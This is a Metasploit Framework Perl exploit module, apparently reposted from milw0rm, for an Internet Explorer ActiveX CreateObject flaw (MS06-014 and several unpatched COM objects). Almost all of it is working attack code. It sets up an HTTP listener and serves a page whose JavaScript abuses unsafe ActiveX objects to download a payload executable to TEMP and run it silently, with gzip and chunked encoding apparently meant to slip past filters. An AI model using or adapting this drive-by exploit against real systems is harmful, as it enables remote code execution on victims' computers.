1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354 | ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::ie_createobject;
use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;
my $advanced =
{
'Gzip' => [1, 'Enable gzip content encoding'],
'Chunked' => [1, 'Enable chunked transfer encoding'],
};
my $info =
{
'Name' => 'Internet Explorer COM CreateObject Code Execution',
'Version' => '$Revision: 3753 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com>',
],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits a generic code execution vulnerability in Internet
Explorer by abusing vulnerable ActiveX objects.
}),
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2003' ],
'Priv' => 0,
'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},
'Payload' =>
{
'Space' => 4000,
'Keys' => ['-bind'],
},
'Refs' =>
[
['MSB', 'MS06-014']
],
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic' ],
# Patched
[ 'MS06-014 - RDS.DataControl', '{BD96C556-65A3-11D0-983A-00C04FC29E36}'],
# Not marked as safe
[ 'UNKNOWN - RDS.DataSpace', '{BD96C556-65A3-11D0-983A-00C04FC29E36}'],
# Not marked as safe
[ 'UNKNOWN - Business Object Factory ', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}'],
# Not marked as safe
[ 'UNKNOWN - Outlook Data Object', '{0006F033-0000-0000-C000-000000000046}'],
# Found exploitable in the wild (no details)
[ 'UNKNOWN - Outlook.Application', '{0006F03A-0000-0000-C000-000000000046}'],
# These are restricted by site (might be exploitable via DNS spoofing + SSL fun)
[ 'UNKNOWN - SoftwareDistribution.MicrosoftUpdateWebControl.1', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}'],
[ 'UNKNOWN - SoftwareDistribution.WebControl.1', '{6414512B-B978-451D-A0D8-FCFDF33E833C}'],
# Part of the WMI SDK, currently unpatched/unreported
[ 'UNKNOWN - WMIScriptUtils.WMIObjectBroker2.1', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}'],
# Visual Studio components, not marked as safe
[ 'UNKNOWN - VsmIDE.DTE', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}'],
[ 'UNKNOWN - DExplore.AppObj.8.0', '{639F725F-1B2D-4831-A9FD-874847682010}'],
[ 'UNKNOWN - VisualStudio.DTE.8.0', '{BA018599-1DB3-44f9-83B4-461454C84BF8}'],
[ 'UNKNOWN - Microsoft.DbgClr.DTE.8.0', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}'],
[ 'UNKNOWN - VsaIDE.DTE', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}'],
],
'Keys' => [ 'ie' ],
'DisclosureDate' => '',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;
# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}
my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ?
Pex::Utils::SourceIP('1.2.3.4') :
$self->GetVar('HTTPHOST');
$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");
while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}
return;
}
sub HandleHttpClient
{
my $self = shift;
my $fd = shift;
my $shellcode = my $shellcode = $self->GetVar('EncodedPayload')->Payload;
# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
# Read the HTTP command
my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10);
# Read the HTTP headers
my $headers;
while ( (my $line = $fd->RecvLine(10))) {
$headers .= $line;
last if $line eq "\r\n";
}
if ($url =~ /\?payload/) {
$self->PrintLine("[*] HTTP Client $rhost:$rport asked for payload...");
my $content = Pex::Utils::CreateWin32PE($shellcode, 'ie_createobject');
$fd->Send($self->BuildResponse($content, 'application/octet-stream'));
$fd->Close;
return;
}
$self->PrintLine("[*] HTTP Client $rhost:$rport asked for exploit page...");
$fd->Send($self->BuildResponse($self->GenerateHTML(), 'text/html'));
$fd->Close;
return;
}
sub GenerateHTML {
my $self = shift;
my $target_idx = $self->GetVar('TARGET');
my $objects = "";
if ($target_idx == 0) {
foreach my $target (@{ $self->Targets }) {
if ($target->[1]) {
$objects .= "'".$target->[1]."',";
}
}
} else {
my $target = $self->Targets->[$target_idx];
$objects .= "'".$target->[1]."',";
}
my $data =
qq#
<html><head><title></title>
<script language="javascript">
function Log(m) {
var log = document.createElement('p');
log.innerHTML = m;
document.body.appendChild(log);
}
function CreateO(o, n) {
var r = null;
try { eval('r = o.CreateObject(n)') }catch(e){}
if (! r) {
try { eval('r = o.CreateObject(n, "")') }catch(e){}
}
if (! r) {
try { eval('r = o.CreateObject(n, "", "")') }catch(e){}
}
if (! r) {
try { eval('r = o.GetObject("", n)') }catch(e){}
}
if (! r) {
try { eval('r = o.GetObject(n, "")') }catch(e){}
}
if (! r) {
try { eval('r = o.GetObject(n)') }catch(e){}
}
return(r);
}
function Go(a) {
Log('Creating helper objects...');
var s = CreateO(a, "WScript.Shell");
var o = CreateO(a, "ADODB.Stream");
var e = s.Environment("Process");
Log('Ceating the XMLHTTP object...');
var url = document.location + '?payload';
var xml = null;
var bin = e.Item("TEMP") + "metasploit.exe";
var dat;
try { xml=new XMLHttpRequest(); }
catch(e) {
try { xml = new ActiveXObject("Microsoft.XMLHTTP"); }
catch(e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if (! xml) return(0);
Log('Downloading the payload...');
xml.open("GET", url, false)
xml.send(null);
dat = xml.responseBody;
Log('Writing the payload to disk...');
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
Log('Executing the payload...');
s.Run(bin,0);
}
function Exploit() {
var i = 0;
var t = new Array(${objects}null);
while (t[i]) {
var a = null;
if (t[i].substring(0,1) == '{') {
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
} else {
try { a = new ActiveXObject(t[i]); } catch(e){}
}
if (a) {
try {
var b = CreateO(a, "WScript.Shell");
if (b) {
Log('Loaded ' + t[i]);
Go(a);
return(0);
}
} catch(e){}
}
i++;
}
Log('Exploit failed.');
}
</script>
</head>
<body onload='Exploit()'>
<p>Initializing...</p>
</body>
</html>
#;
}
sub BuildResponse {
my ($self, $content, $type) = @_;
$type ||= 'text/plain';
my $response =
"HTTP/1.1 200 OK\r\n" .
"Content-Type: $type\r\n";
if ($self->GetVar('Gzip')) {
$response .= "Content-Encoding: gzip\r\n";
$content = $self->Gzip($content);
}
if ($self->GetVar('Chunked')) {
$response .= "Transfer-Encoding: chunked\r\n";
$content = $self->Chunk($content);
} else {
$response .= 'Content-Length: ' . length($content) . "\r\n" .
"Connection: close\r\n";
}
$response .= "\r\n" . $content;
return $response;
}
sub Chunk {
my ($self, $content) = @_;
my $chunked;
while (length($content)) {
my $chunk = substr($content, 0, int(rand(10) + 1), '');
$chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
}
$chunked .= "0\r\n\r\n";
return $chunked;
}
sub Gzip {
my $self = shift;
my $data = shift;
my $comp = int(rand(5))+5;
my($wtr, $rdr, $err);
my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
print $wtr $data;
close ($wtr);
local $/;
return (<$rdr>);
}
1;
# milw0rm.com [2006-08-10]
|